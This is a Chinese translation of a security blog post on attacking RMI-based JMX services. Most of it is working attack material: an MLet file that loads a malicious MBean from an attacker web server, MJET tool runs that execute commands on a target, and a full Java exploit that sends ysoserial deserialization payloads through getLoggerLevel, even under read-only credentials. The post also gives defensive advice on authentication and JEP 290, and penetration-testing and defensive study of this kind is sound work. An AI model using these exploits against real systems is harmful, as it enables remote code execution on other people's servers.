如何入侵基于RMI的JMX服务

secM  1811天前

引言:在上一篇文章中,我们描述了如何使用各种技术(主要是Java反序列化)来入侵Java RMI服务。虽然RMI通常不再用于开发新应用程序,但它仍然是通过JMX实现远程监控的标准技术。针对JMX服务的攻击技术已经公之于众多年了,但我们在安全评估过程中仍然经常会发现不安全/可利用的JMX实例。

本文首先简要介绍JMX,然后介绍已知的攻击技术。同时,我们还会为读者介绍攻击者是如何利用Java反序列化漏洞入侵JMX服务的。

什么是JMX

WikipediaJava Management ExtensionsJMX)的定义如下所示:

Java ManagementExtensionsJMX)是一种Java技术,为管理和监视应用程序、系统对象、设备(如打印机)和面向服务的网络提供相应的工具。

JMX通常被描述为SNMP(简单网络管理协议)的“Java版本”。SNMP主要用于监控网络组件,如网络交换机或路由器。与SNMP一样,JMX也用于监视基于Java的应用程序。JMX最常见的应用场景,就是在NagiosIcingaZabbix等集中式监控解决方案中用于监控Java应用服务器的可用性和性能。

JMX还与SNMP还有一个相似之处:虽然大多数公司只用到了其监控功能,但JMX的实际功能远不止于此。JMX不仅能够从远程系统读取值,还可以用于调用远程系统上的方法。

JMX基础知识

MBean

利用JMX,我们可以像托管bean一样来管理各种资源。托管beanMBean)是遵循JMX标准的某些设计规则的Java Bean类。MBean可以表示设备、应用程序或需要通过JMX管理的任何资源。您可以通过JMX来访问这些MBean,比如查询属性和调用Bean方法。

JMX标准在不同的MBean类型之间有所差异,但是,我们这里只处理标准MBean。为了成为有效的MBeanJava类必须:

  •      实现一个接口
  •      提供默认的构造函数(不带任何参数)
  •      遵循某些命名约定,例如实现getter/setter方法来读/写属性

如果我们想要创建自己的MBean,首先需要定义一个接口。下面给出一个最简单的MBean示例:

package de.mogwailabs.MBeans;

 

public interface HelloMBean {

 

   // getter and setter for the attribute "name"

   public String getName();

   public void setName(String newName);

 

   // Bean method "sayHello"

   public String sayHello();

}

下一步是为已定义的接口提供一个实现。注意,其名称应该始终与接口保持一致,但不包括“MBean”部分。

package de.mogwailabs.MBeans;

 

public class Hello implements HelloMBean {

 

   private String name = "MOGWAI LABS";

 

   // getter/setter for the "name" attribute

   public String getName() { return this.name; }

   public void setName(String newName) { this.name = newName; }

 

   // Methods

   public String sayHello() { return "hello: " + name; }

}

MBean服务器

MBean服务器是一种管理系统MBean的服务。开发人员可以按照特定的命名模式在服务器中注册MBeanMBean服务器将传入的消息转发给已注册的MBean。该服务还负责将消息从MBean转发给外部组件。

默认情况下,每个Java进程都会运行一个MBean服务器服务,我们可以通过ManagementFactory.getPlatformMBeanServer();来访问它。下面给出的示例代码将“连接”到当前进程的MBean服务器,并打印输出所有已注册的MBean

package de.mogwailabs.MBeanClient;

 

import java.lang.management.ManagementFactory;

import javax.management.*;

 

public class MBeanClient {

 

         publicstatic void main(String[] args) throws Exception {

                 

       // Connect to the MBean server of the current Java process

       MBeanServer server = ManagementFactory.getPlatformMBeanServer();

       System.out.println( server.getMBeanCount() );

 

       // Print out each registered MBean

        for ( object object :server.queryMBeans(new objectName("*:*"), null) ) {

          System.out.println( ((objectInstance)object).getobjectName() );

       }

    }

}

 

要想创建可以通过MBean服务器供外部调用的MBean实例,则需要使用objectName类完成相应的注册。每个MBean的名称,不仅要遵循对象命名约定,同时,还必须是独一无二的。名称分为域(通常是包)名和对象名两个部分。对象名称应包含“type”属性。如果给定域中只能有一个给定类型的实例,那么除了type属性之外,通常不应该有任何其他属性。

例如:

com.sun.someapp:type=Whatsit,name=5

com.sun.appserv.Domain1:type=Whatever

下面给出了一个如何在本地MBean服务器上注册MBean的示例代码。

package de.mogwailabs.MBeanExample;

 

import de.mogwailabs.MBeans.*;

import java.lang.management.ManagementFactory;

import javax.management.*;

 

public class MBeanExample {

 

         public static void main(String[] args) throws Exception {

                 

                  //Create a new MBean instance from Hello (HelloMBean interface)

                  Hello mbean = new Hello();

                 

                  //Create an object name,

                  objectName mbeanName = new objectName("de.mogwailabs.MBeans:type=HelloMBean");

                 

                  //Connect to the MBean server of the current Java process

                  MBeanServer server = ManagementFactory.getPlatformMBeanServer();

                  server.registerMBean(mbean,mbeanName);

                 

                  //Keep the application running until user enters something

                  System.out.println("Pressany key to exit");

                  System.in.read();   

         }

}

JConsole

访问MBean/JMX服务最简单的方法是使用“jconsole”工具,这个工具是JDK的一部分。一旦启动,您就可以连接到正在运行的Java进程,并在MBean选项卡中查看已注册的MBean。此外,它还可以用来获取/设置bean属性,或调用诸如我们的“sayHello”这样的方法。


1.png

JMX连接器

到目前为止,本文只连接了我们自己的MBean服务器实例。如果我们想要连接运行在另一台服务器上的远程实例,则必须使用JMX连接器。JMX连接器实际上就是客户端/服务器的stub对象,用于提供对远程MBean服务器的访问。这是通过经典的RPC(远程过程调用)方法实现的,旨在让开发人员可以透明地访问“远程”部件,包括用于与远程实例通信的协议。

默认情况下,Java会提供基于Java RMI(远程方法调用)的远程JMX连接器。我们可以通过向java调用添加以下参数来启用JMX

 

-Dcom.sun.management.jmxremote.port=2222-Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false

 

这是我们的MBean服务器示例(导出到jar文件):

 

java-Dcom.sun.management.jmxremote.port=2222-Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false-jar mbeanserver.jar

现在,如果我们在系统上扫描端口就会发现,TCP端口2222实际上托管了一个RMI命名注册表,该注册表公开了一个名为“JMXRMI”的对象。实际的RMI服务可以通过TCP端口34041进行访问。这个端口号是在启动过程中随机选择的。如果您想了解有关Java RMI的更多信息,可以参阅我们的前一篇文章

nmap 192.168.71.128 -p 2222,34041 -sVC

 

Starting Nmap 7.60 ( https://nmap.org ) at2019-04-08 20:02 CEST

Nmap scan report for rocksteady(192.168.71.128)

Host is up (0.00024s latency).

 

PORT     STATE SERVICE     VERSION

2222/tcp open  java-rmi    Java RMI Registry

| rmi-dumpregistry:

|  jmxrmi

|     implements javax.management.remote.rmi.RMIServer,

|    extends

|      java.lang.reflect.Proxy

|      fields

|          Ljava/lang/reflect/InvocationHandler; h

|            java.rmi.server.RemoteobjectInvocationHandler

|             @127.0.1.1:34041

|             extends

|_              java.rmi.server.Remoteobject

34041/tcp open  rmiregistry Java RMI

 

Service detection performed. Please reportany incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scannedin 11.95 seconds

同样,您可以使用JConsole连接该服务。注意,这里不是选择现有进程,而是通过IP:PORT(在本例中为192.168.71.128:2222)连接到服务。

JMX适配器

JMX适配器与JMX连接器功能非常相似,不过它提供的是客户端“期望”的内容,例如HTMLHTTP上的JSON数据。当客户端不是用Java语言编写的,不能使用Java RMI时,则通常需要使用JMX适配器。在本例中,JMX适配器充当通向Java世界的桥梁。使用JMX适配器的缺点是,可能无法调用MBean提供的所有方法,例如,当所需的参数使用了JMX适配器无法序列化的类的时候。目前,比较非常流行的JMX适配器是Jolokia。此外,Tomcat管理接口也提供了一个基于HTTPJMX适配器。

攻击JMX实例

一旦有了可以在RMI上正常工作的JMX服务之后,我们可以通过各种方式来了解如何攻击这种服务了。随着时间的推移,人们已经发现了许多与基于RMIJMX相关的攻击技术,下面我们将分别进行介绍。

滥用MBean

如前面的示例所示,应用程序能够注册其他MBean,这样就可以远程调用它们了。JMX通常用于管理应用程序,因此,MBean的功能通常非常强大。以下屏幕截图显示了Tomcat应用程序服务器注册的UserDatabase MBean中的方法。这个MBean不仅可以检查配置的Tomcat用户/组,甚至可以创建新帐户。攻击者可能滥用MBean来窃取配置的密码,或为基于WebTomcat管理器创建新管理员。


1.png

通过JMX,我们还可以查看Tomcat的所有SessionID,这在攻击Web会话时非常有用。


1.png

遗憾的是,这些示例不是通用的攻击模式,而是依赖于受监视/托管应用程序注册的MBean的。

基于MLet的远程代码执行攻击

2013年,Braden Thomas"Exploiting JMX RMI"一文中首次描述了这种攻击技术。到目前为止,该技术仍可在大多数环境中使用,只要它们未启用JMX身份验证。Braden深入研读过Oracle的相关文档,其中说:

此外,潜在的危害不仅限于您在MBean中定义的操作。远程客户端可以创建javax.management.loading.MLet MBean,并使用它通过任意URL创建新的MBean,至少在没有安全管理器的情况下是这样的。换句话说,恶意远程客户端可以让您的Java应用程序执行任意代码。

因此,虽然禁用安全功能在开发过程中是可接受的,但强烈建议您不要禁用生产系统的安全功能。

术语“MLet”是management applet的缩写形式,可以用来“通过远程URLMBean服务器中注册一个或多个MBean”。简而言之,MLET是一个类似于HTML的文件,可以通过Web服务器提供。下面是一个MLet示例文件:

<html><mletcode="de.mogwailabs.MaliciousMLet"archive="mogwailabsmlet.jar" name="Mogwailabs:name=payload"codebase="http://attackerwebserver"></mlet></html>

攻击者可以托管这样的MLet文件,并指示JMX服务从远程主机加载MBean。攻击过程如下所示:

  1.     启动托管MLet和含有恶意MBeanJAR文件的Web服务器
  2.     使用JMX在目标服务器上创建MBeanjavax.management.loading.MLet的实例
  3.     调用MBean实例的“getMBeansFromURL”方法,将Web服务器URL作为参数进行传递。JMX服务将连接到http服务器并解析MLet文件。
  4.     JMX服务下载并归档MLet文件中引用的JAR文件,使恶意MBean可通过JMX获取。
  5.     攻击者最终调用来自恶意MBean的方法。

这听起来相当复杂,但是,攻击者可以借助于各种工具/漏洞利用程序来可靠地完成这种攻击。您可以使用这个metasploit模块,或亲自编写的“MJET”工具。

以下示例展示了如何借助MJET来安装恶意的托管bean

h0ng10@rocksteady ~/w/mjet> jythonmjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

 

MJET - MOGWAI LABS JMX Exploitation Toolkit

===========================================

[+] Starting webserver at port 8000

[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi

[+] Connected: rmi://10.165.188.1  1

[+] Loaded javax.management.loading.MLet

[+] Loading malicious MBean fromhttp://10.165.188.1:8000

[+] Invoking:javax.management.loading.MLet.getMBeansFromURL

10.165.188.23 - - [26/Apr/2019 21:47:15]"GET / HTTP/1.1" 200 -

10.165.188.23 - - [26/Apr/2019 21:47:16]"GET /nztcftbg.jar HTTP/1.1" 200 -

[+] Successfully loadedMBeanMogwaiLabs:name=payload,id=1

[+] Changing default password...

[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload

[+] Successfully changed password

 

[+] Done

h0ng10@rocksteady ~/w/mjet>

 

成功安装后,就可以使用MBean来执行任意命令了,甚至可以使用JDK内置的javascript解释器来执行javascript代码。

h0ng10@rocksteady ~/w/mjet> jythonmjet.py 10.165.188.23 2222 command super_secret "ls -la"

 

MJET - MOGWAI LABS JMX Exploitation Toolkit

===========================================

[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi

[+] Connected: rmi://10.165.188.1  4

[+] Loadedde.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload

[+] Executing command: ls -la

total 20

drwxr-xr-x 5 root    root    4096 Apr 26 11:12 .

drwxr-xr-x 33 root    root   4096 Apr 10 13:54 ..

lrwxrwxrwx 1 root    root      12 Aug 13 2018 conf -> /etc/tomcat8

drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib

lrwxrwxrwx 1 root    root      17 Aug 13 2018 logs -> ../../log/tomcat8

drwxr-xr-x 2 root    root    4096 Apr 26 11:12 policy

drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps

lrwxrwxrwx 1 root    root      19 Aug 13 2018 work -> ../../cache/tomcat8

 

 [+]Done

 

只要满足以下要求,该方法就非常可靠:

  •      JMX服务器可以连接到由攻击者控制的http服务。这是在目标服务器上加载恶意MBean的必要条件。
  •      未启用JMX身份验证。

启用身份验证后的主要影响有两点,一是使用JMX服务时必须提供相应的凭证,而无法调用“getMBeansFromURL”。下面给出的是取自MBeanServerAccessController的代码片段:

 final String propName ="jmx.remote.x.mlet.allow.getMBeansFromURL";

           GetPropertyAction propAction = new GetPropertyAction(propName);

           String propValue = AccessController.doPrivileged(propAction);

           boolean allowGetMBeansFromURL ="true".equalsIgnoreCase(propValue);

           if (!allowGetMBeansFromURL) {

                throw new SecurityException("Access denied! MLet method " +

                        "getMBeansFromURLcannot be invoked unless a " +

                        "security manageris installed or the system property " +

                        "-Djmx.remote.x.mlet.allow.getMBeansFromURL=true" +

                        "isspecified.");

           }

       ...

因此,即使攻击者持有正确的凭证,上面介绍的攻击技术也无法用于启用身份验证的JMX服务。当然,这也不是绝对的,比如当管理员配置了一个非常弱的安全管理器策略或明确允许通过属性“jmx.remote.x.mlet.allow.getMBeansFromURL”加载远程Mlet的时候,这种攻击方法仍然能够奏效,但是出现这种情况的可能性非常低。

由于大多数管理员/开发人员仅将JMX视为监控工具,因此,他们通常并不了解远程加载MLets的可能性。此外,大多数JMX配置示例都是展示如何在不进行身份验证的情况下配置JMX,因此,在现实世界中经常能够见到使用这种配置不当的JMX服务。

反序列化漏洞

顾名思义,基于RMIJMX是建立在RMI的基础上的,而RMI本身又是基于本机Java序列化,因此,它自然会成为反序列化攻击的理想目标。与所有Java反序列化攻击一样,这要求受监视应用程序的类加载器加载可以被利用的gadget。就这里的例子来说,都假设攻击目标的类路径中包含ApacheCommonsCollections3.1库。

CVE-2016-3427

CVE-2016-3427漏洞是由Mark Thomas提交的,他发现JMX服务的“JMXConnectorFactory.connect”方法实际上接收的参数是一个对象Map,而不是两个字符串(用户名/密码)。这使得攻击者可以发送含有在服务器端反序列化的恶意对象的Map

该漏洞的优点是,它甚至可以用来攻击提供了密码保护的JMX实例。与MLet攻击不同,漏洞利用也不要求服务器可以连接到http服务。但是,JMX服务器必须在其类加载器中提供有效的Java反序列化gadget

您可以在这里找到适用于CVE-2016-3427DoS-PoC。需要说明的是,Java 8 update77已修复该漏洞。

攻击RMI协议

由于JMX RMI是基于RMI的,因此,攻击者还可以尝试利用RMI级别的反序列化漏洞。为此,攻击者可以使用Moritz Bechler提供的两个漏洞利用代码,如前文所述,它们是Ysoserial工具包的一部分。

      这个RMI注册表漏洞攻击代码是通过将恶意序列化对象作为参数发送到命名注册表的“bind”方法来实现的。

      这个JRMP客户端攻击代码的攻击目标是由RMI侦听器实现的远程DGCDistributed GarbageCollection,分布式垃圾收集器)。它可以攻击任何RMI侦听器,而不仅限于RMI命名注册表。

只要目标上存在有效的gadget链,那么,上面的两个漏洞利用代码运行起来都会非常可靠。RMIRegistryExploit的优点是,它可以打印服务器返回的异常。这可用于验证目标是否在其类路径中存在已经用过的gadget

在引入JEP-290时,OracleRMI添加了一个基于白名单的前瞻性反序列化功能,因此可以有效地防御这两个漏洞利用代码。引入该功能的JDK版本包括:

  •    Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  •    Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  •    Java™ SE Development Kit 6, Update 141 (JDK 6u141)

JMX/MBean级别的反序列化漏洞

虽然当前很难直接利用RMI上的反序列化漏洞了,但攻击者仍然可以尝试利用应用程序级别的反序列化漏洞。这与我们之前关于RMI服务的文章中描述的攻击非常相似,不同之处在于,实际上这里的利用方法更容易实现。

这种利用方法的基本思想是,调用接受String(或任何其他类)作为参数的MBean方法。正如我们在前面的示例中已经看到的那样,在默认情况下,每个Java进程都会提供多个MBean。实际上,攻击者通常会调用“getLoggerLevel”方法,因为它接受String作为参数。


1.png

攻击者只需传递恶意对象作为参数,而不仅限于传递StringJMX使得这一切变得非常容易,因为用于调用远程MBean方法的MBeanServerConnection.invoke方法需要传递两个数组,一个是参数,一个是参数的签名。

   objectName mbeanName = new objectName("java.util.logging:type=Logging");

           

   // Create operation's parameter and signature arrays     

   object  opParams[] = {

       "MOGWAI_LABS",

   };

               

   String  opSig[] = {

       String.class.getName()

   };

 

   // Invoke operation

   mbeanServerConnection.invoke(mbeanName, "getLoggerLevel",opParams, opSig);

 

下面是一个完整的工作示例,我已经将其提交给了ysoserial项目

package ysoserial.exploit;

 

import javax.management.MBeanServerConnection;

import javax.management.objectName;

import javax.management.remote.JMXConnector;

import javax.management.remote.JMXConnectorFactory;

import javax.management.remote.JMXServiceURL;

 

import ysoserial.payloads.objectPayload.Utils;

 

/*

 *Utility program for exploiting RMI based JMX services running with requiredgadgets available in their ClassLoader.

 * Attemptsto exploit the service by invoking a method on a exposed MBean, passing thepayload as argument.

 *

 */

public class JMXInvokeMBean {

 

         publicstatic void main(String[] args) throws Exception {

        

                  if( args.length < 4 ) {

                          System.err.println(JMXInvokeMBean.class.getName()+ " <host> <port> <payload_type><payload_arg>");

                          System.exit(-1);

                  }

            

                  JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] +":" + args[1] + "/jmxrmi");

       

                  JMXConnector jmxConnector = JMXConnectorFactory.connect(url);

                  MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

 

                  //create the payload

                  object payloadobject = Utils.makePayloadobject(args[2], args[3]);  

                  objectName mbeanName = new objectName("java.util.logging:type=Logging");

 

                  mbeanServerConnection.invoke(mbeanName,"getLoggerLevel", new object[]{payloadobject}, newString[]{String.class.getCanonicalName()});

 

                  //closethe connection

                  jmxConnector.close();

    }

}

这里,我们需要感谢团队的新成员SebastianKindler,在他的努力下,上面的代码终于可以支持最新版本的MJET了。它的优点是可以在启用身份验证的环境下面正常使用(如果已知有效凭证的话)。它仍然要求在其类路径中含有可利用的gadget,但与基于MLET的攻击不同,这里不再要求提供从JMX服务器到处于攻击者控制下的http服务之间的传出连接。

h0ng10@rocksteady ~/w/mjet> jythonmjet.py --jmxrole admin --jmxpassword adminpassword 10.165.188.23 2222deserialize CommonsCollections6 "touch /tmp/xxx"

 

MJET - MOGWAI LABS JMX Exploitation Toolkit

===========================================

[+] Added ysoserial API capacities

[+] Connecting to:service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi

[+] Using credentials: admin /adminpassword

[+] Connected: rmi://10.165.188.1 admin 22

[+] Loadedsun.management.ManagementFactoryHelper$PlatformLoggingImpl

[+] Passing ysoserial object as parameterto getLoggerLevel(String loglevel)

[+] Got an argument type mismatch exception- this is expected

 

[+] Done

即使您的账户只有readOnly权限,该攻击依然可以奏效,因为反序列化是在实际权限检查之前进行的:

h0ng10@rocksteady ~/w/mjet> jythonmjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222deserialize CommonsCollections6 "touch /tmp/xxx"

 

MJET - MOGWAI LABS JMX Exploitation Toolkit

===========================================

[+] Added ysoserial API capacities

[+] Connecting to:service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi

[+] Using credentials: user / userpassword

[+] Connected: rmi://10.165.188.1 user 21

[+] Loadedsun.management.ManagementFactoryHelper$PlatformLoggingImpl

[+] Passing ysoserial object as parameterto getLoggerLevel(String loglevel)

[+] Got an access denied exception - thisis expected

 

[+] Done

小结

如本文所述,启用身份验证来保护JMX服务是非常重要的,否则的话,JMX服务就很容易被攻击者入侵。实际上,JMX自身已经提供了这种功能,包括对TLS加密连接的支持。

除了启用身份验证之外,您还应该确保JDK环境是最新的,因为攻击者可能会尝试使用Java反序列化漏洞来利用底层RMI实现;如果没有及时更新的话,启用了身份验证也无济于事。

此外,攻击者还可以设法获得JMX服务的有效凭据。在这种情况下,他仍然可以尝试利用Java反序列化漏洞,即使他的帐户只有读权限。对于这种攻击,可以通过实施全局JEP290政策进行防御,我们将在下一篇文章中进行详细的介绍。

原文地址:https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/

最新评论

昵称
邮箱
提交评论